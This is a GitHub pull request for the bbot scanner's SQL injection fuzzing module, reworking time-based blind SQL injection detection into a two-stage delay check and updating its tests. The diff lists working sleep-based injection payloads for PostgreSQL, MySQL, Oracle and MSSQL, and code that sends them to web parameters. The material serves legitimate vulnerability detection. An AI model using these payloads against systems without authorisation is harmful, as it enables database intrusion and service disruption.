Skip to content

sqli: two-stage scaling-delay confirmation for time-based blind detection #3152

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
liquidsec merged 1 commit into from
Jun 8, 2026
Merged

sqli: two-stage scaling-delay confirmation for time-based blind detection #3152

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
181 changes: 97 additions & 84 deletions bbot/modules/lightfuzz/submodules/sqli.py
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
from .base import BaseLightfuzz
from bbot.errors import HttpCompareError

import statistics


class sqli(BaseLightfuzz):
"""
Expand All @@ -23,8 +21,13 @@ class sqli(BaseLightfuzz):

friendly_name = "SQL Injection"

expected_delay = 5
# These are common error strings that strongly indicate SQL injection
delay_low = 3
delay_high = 8
delay_margin = 1.5
delay_scale_margin = 1.75
delay_stage1_reps = 3
delay_stage2_reps = 3

sqli_error_strings = [
"Unterminated string literal",
"Failed to parse string literal",
Expand All @@ -38,36 +41,16 @@ class sqli(BaseLightfuzz):
"string not properly terminated",
]

def evaluate_delay(self, mean_baseline, measured_delay):
"""
Evaluates if a measured delay falls within an expected range, indicating potential SQL injection.

Parameters:
- mean_baseline (float): The average baseline delay measured from non-injected requests.
- measured_delay (float): The delay measured from a potentially injected request.

Returns:
- bool: True if the measured delay is within the expected range or exactly twice the expected delay, otherwise False.

The function checks if the measured delay is within a margin of the expected delay or twice the expected delay,
accounting for cases where the injected statement might be executed twice.
"""
margin = 1.5
if (
mean_baseline + self.expected_delay - margin
<= measured_delay
<= mean_baseline + self.expected_delay + margin
):
return True
# check for exactly twice the delay, in case the statement gets placed in the query twice (a common occurrence)
elif (
mean_baseline + (self.expected_delay * 2) - margin
<= measured_delay
<= mean_baseline + (self.expected_delay * 2) + margin
):
return True
else:
return False
DELAY_PROBE_TEMPLATES = [
"'||pg_sleep({d})--",
"' OR (SELECT TRUE FROM pg_sleep({d})) LIMIT 1-- -",
"1' AND (SLEEP({d})) AND '",
"' OR SLEEP({d}) IS NOT NULL LIMIT 1-- -",
" OR SLEEP({d}) IS NOT NULL LIMIT 1-- -",
"' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({d})=0) AND '1'='1",
"'; WAITFOR DELAY '00:00:{d:02d}'--",
"; WAITFOR DELAY '00:00:{d:02d}'--",
]

async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, rounds=2):
"""Run additional confirmation rounds with fresh baselines to rule out transient server/CDN flaps.
Expand Down Expand Up @@ -218,89 +201,119 @@ async def fuzz(self):
except HttpCompareError as e:
self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}")

# Time-based blind SQLi payloads across DB families. Each probe is engineered
# to fire its delay exactly once so the measured elapsed time stays close to
# self.expected_delay regardless of table row count. Row-independent variants
# use `IS NOT NULL` (since SLEEP returns 0 — not NULL) combined with `LIMIT 1`
# to force a single match on the first row scanned.
standard_probe_strings = [
# postgres
f"'||pg_sleep({self.expected_delay})--",
f"' OR (SELECT TRUE FROM pg_sleep({self.expected_delay})) LIMIT 1-- -",
# mysql (row-dependent; fires once when original_value matches a row)
f"1' AND (SLEEP({self.expected_delay})) AND '",
# mysql (row-independent; one SLEEP, exits on first row via LIMIT 1)
f"' OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -",
f" OR SLEEP({self.expected_delay}) IS NOT NULL LIMIT 1-- -",
# oracle (DUAL is single-row so DBMS_LOCK.SLEEP fires once)
f"' AND (SELECT 1 FROM DUAL WHERE DBMS_LOCK.SLEEP({self.expected_delay})=0) AND '1'='1",
# mssql (stacked query, fires once)
f"'; WAITFOR DELAY '00:00:{self.expected_delay}'--",
f"; WAITFOR DELAY '00:00:{self.expected_delay}'--",
]

baseline_1 = await self.standard_probe(
self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True
)
baseline_2 = await self.standard_probe(
self.event.data["type"], cookies, probe_value, additional_params_populate_empty=True
)

# get a baseline from two different probes. We will average them to establish a mean baseline
if baseline_1 and baseline_2:
baseline_1_delay = baseline_1.elapsed.total_seconds()
baseline_2_delay = baseline_2.elapsed.total_seconds()
mean_baseline = statistics.mean([baseline_1_delay, baseline_2_delay])
base_floor = min(baseline_1_delay, baseline_2_delay)

# CDN cache-miss control: junk value misses the edge cache like our SQL payloads
# would. If its delay lands in the SLEEP() window, the latency is cache-miss, not
# SQL execution — bail to avoid false positives.
junk_value = f"{probe_value}{self.lightfuzz.helpers.rand_string(20, numeric_only=True)}"
junk_response = await self.standard_probe(
self.event.data["type"], cookies, junk_value, additional_params_populate_empty=True
)
if junk_response and self.evaluate_delay(mean_baseline, junk_response.elapsed.total_seconds()):
self.debug(
"Junk control probe matched delay window — CDN cache-miss pattern, aborting time-based tests"
)
return
if junk_response:
junk_delta = junk_response.elapsed.total_seconds() - base_floor
if any(abs(junk_delta - k * self.delay_low) <= self.delay_margin for k in (1, 2)):
self.debug("Junk control probe matched delay window, aborting time-based tests")
return

for p in standard_probe_strings:
confirmations = 0
for i in range(0, 3):
# send the probe 3 times, and check if the delay is within the detection threshold
for template in self.DELAY_PROBE_TEMPLATES:
# Stage 1: fast gate at delay_low
low_times = []
stage1_failed = False
for _ in range(self.delay_stage1_reps):
payload_low = template.format(d=self.delay_low)
r = await self.standard_probe(
self.event.data["type"],
cookies,
f"{probe_value}{p}",
f"{probe_value}{payload_low}",
additional_params_populate_empty=True,
timeout=20,
)
if not r:
self.debug("delay measure request failed")
self.debug("Stage 1 delay probe request failed")
stage1_failed = True
break
if r.status_code == 403:
self.debug("Stage 1 probe returned 403, skipping template")
stage1_failed = True
break
low_times.append(r.elapsed.total_seconds())

d = r.elapsed.total_seconds()
self.debug(f"measured delay: {str(d)}")
if self.evaluate_delay(
mean_baseline, d
): # decide if the delay is within the detection threshold and constitutes a successful sleep execution
confirmations += 1
self.debug(
f"{self.event.url}:{self.event.data['name']}:{self.event.data['type']} Increasing confirmations, now: {str(confirmations)} "
)
else:
if stage1_failed or not low_times:
continue

f_low = min(low_times)
d_low = f_low - base_floor

k = None
for candidate_k in (1, 2):
if abs(d_low - candidate_k * self.delay_low) <= self.delay_margin:
k = candidate_k
break

if confirmations == 3:
if k is None:
self.debug(f"Stage 1 rejected: d_low={d_low:.2f}s does not match delay_low={self.delay_low}s")
continue

self.verbose(f"Stage 1 passed {self.event.url}: d_low={d_low:.2f}s, k={k}, proceeding to Stage 2")

# Stage 2: scaling confirmation at delay_high
high_times = []
stage2_failed = False
for _ in range(self.delay_stage2_reps):
payload_high = template.format(d=self.delay_high)
r = await self.standard_probe(
self.event.data["type"],
cookies,
f"{probe_value}{payload_high}",
additional_params_populate_empty=True,
timeout=30,
)
if not r:
self.debug("Stage 2 delay probe request failed")
stage2_failed = True
break
if r.status_code == 403:
self.debug("Stage 2 probe returned 403, skipping template")
stage2_failed = True
break
high_times.append(r.elapsed.total_seconds())

if stage2_failed or not high_times:
continue

f_high = min(high_times)
d_high = f_high - base_floor

absolute_ok = abs(d_high - k * self.delay_high) <= self.delay_margin
scaling_ok = abs((f_high - f_low) - k * (self.delay_high - self.delay_low)) <= self.delay_scale_margin

if absolute_ok and scaling_ok:
self.results.append(
{
"name": "Possible Blind SQL Injection",
"severity": "HIGH",
"confidence": "LOW",
"description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]",
"confidence": "MEDIUM",
"description": (
f"Possible Blind SQL Injection. {self.metadata()} "
f"Detection Method: [Delay Probe "
f"(k={k}, {self.delay_low}s->{d_low:.1f}s, {self.delay_high}s->{d_high:.1f}s)] "
f"Payload: [{payload_high}]"
),
}
)
else:
self.verbose(
f"Stage 2 rejected {self.event.url}: d_high={d_high:.2f}s, "
f"absolute_ok={absolute_ok}, scaling_ok={scaling_ok}"
)

else:
self.debug("Could not get baseline for time-delay tests")
68 changes: 60 additions & 8 deletions bbot/test/test_step_2/module_tests/test_module_lightfuzz.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -1529,8 +1529,10 @@ def request_handler(self, request):
<hr>
</section>
"""
if "' AND (SLEEP(5)) AND '" in unquote(value):
sleep(5)
decoded = unquote(value)
m = re.search(r"AND \(SLEEP\((\d+)\)\) AND", decoded)
if m:
sleep(int(m.group(1)))
return Response(sql_block, status=200)
return Response(parameter_block, status=200)

Expand All @@ -1543,9 +1545,11 @@ def check(self, module_test, events):
web_parameter_emitted = True

if e.type == "FINDING":
desc = e.data["description"]
if (
"Possible Blind SQL Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [Delay Probe (1' AND (SLEEP(5)) AND ')]"
in e.data["description"]
"Possible Blind SQL Injection" in desc
and "Delay Probe" in desc
and "1' AND (SLEEP(8)) AND '" in desc
):
sqldelay_finding_emitted = True

Expand Down Expand Up @@ -1590,8 +1594,9 @@ def request_handler(self, request):
# Only the one-shot row-independent MySQL payload triggers a delay.
# The original AND-based mysql probe does not fire here, simulating
# a context where the injected value does not match any row.
if "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in decoded:
sleep(5)
m = re.search(r"OR SLEEP\((\d+)\) IS NOT NULL", decoded)
if m:
sleep(int(m.group(1)))
return Response(sql_block, status=200)
return Response(parameter_block, status=200)

Expand All @@ -1604,7 +1609,11 @@ def check(self, module_test, events):
web_parameter_emitted = True
if e.type == "FINDING":
desc = e.data["description"]
if "Possible Blind SQL Injection" in desc and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc:
if (
"Possible Blind SQL Injection" in desc
and "Delay Probe" in desc
and "OR SLEEP(8) IS NOT NULL LIMIT 1-- -" in desc
):
one_shot_delay_finding = True

# Guard against regression of the missing-comma bug: Python string-literal
Expand All @@ -1618,10 +1627,53 @@ def check(self, module_test, events):

assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
assert one_shot_delay_finding, (
"One-shot row-independent SLEEP finding not emitted — row-independent blind sqli detection regression."
"One-shot row-independent SLEEP finding not emitted - row-independent blind sqli detection regression."
)


class Test_Lightfuzz_sqli_delay_jitter_fp(Test_Lightfuzz_sqli):
"""Payload-independent jitter must not produce a blind SQLi finding."""

_jitter_idx = 0

def request_handler(self, request):
from time import sleep

qs = str(request.query_string.decode())
parameter_block = """
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search>
<button type=submit class=button>Search</button>
</form>
</section>
"""
if "search=" in qs:
sql_block = """
<section class=blog-header>
<h1>0 search results found</h1>
<hr>
</section>
"""
jitter = [0.1, 0.4, 0.15, 0.5, 0.2, 0.35, 0.45, 0.1, 0.3, 0.25]
idx = self.__class__._jitter_idx
sleep(jitter[idx % len(jitter)])
self.__class__._jitter_idx = idx + 1
return Response(sql_block, status=200)
return Response(parameter_block, status=200)

async def setup_after_prep(self, module_test):
self.__class__._jitter_idx = 0
await super().setup_after_prep(module_test)

def check(self, module_test, events):
for e in events:
if e.type == "FINDING" and "SQL Injection" in e.data.get("description", ""):
raise AssertionError(
f"False positive: finding emitted under jitter-only conditions: {e.data['description']}"
)


# Serialization Module (Error Resolution)
class Test_Lightfuzz_serial_errorresolution(ModuleTestBase):
targets = ["http://127.0.0.1:8888"]
Expand Down
Loading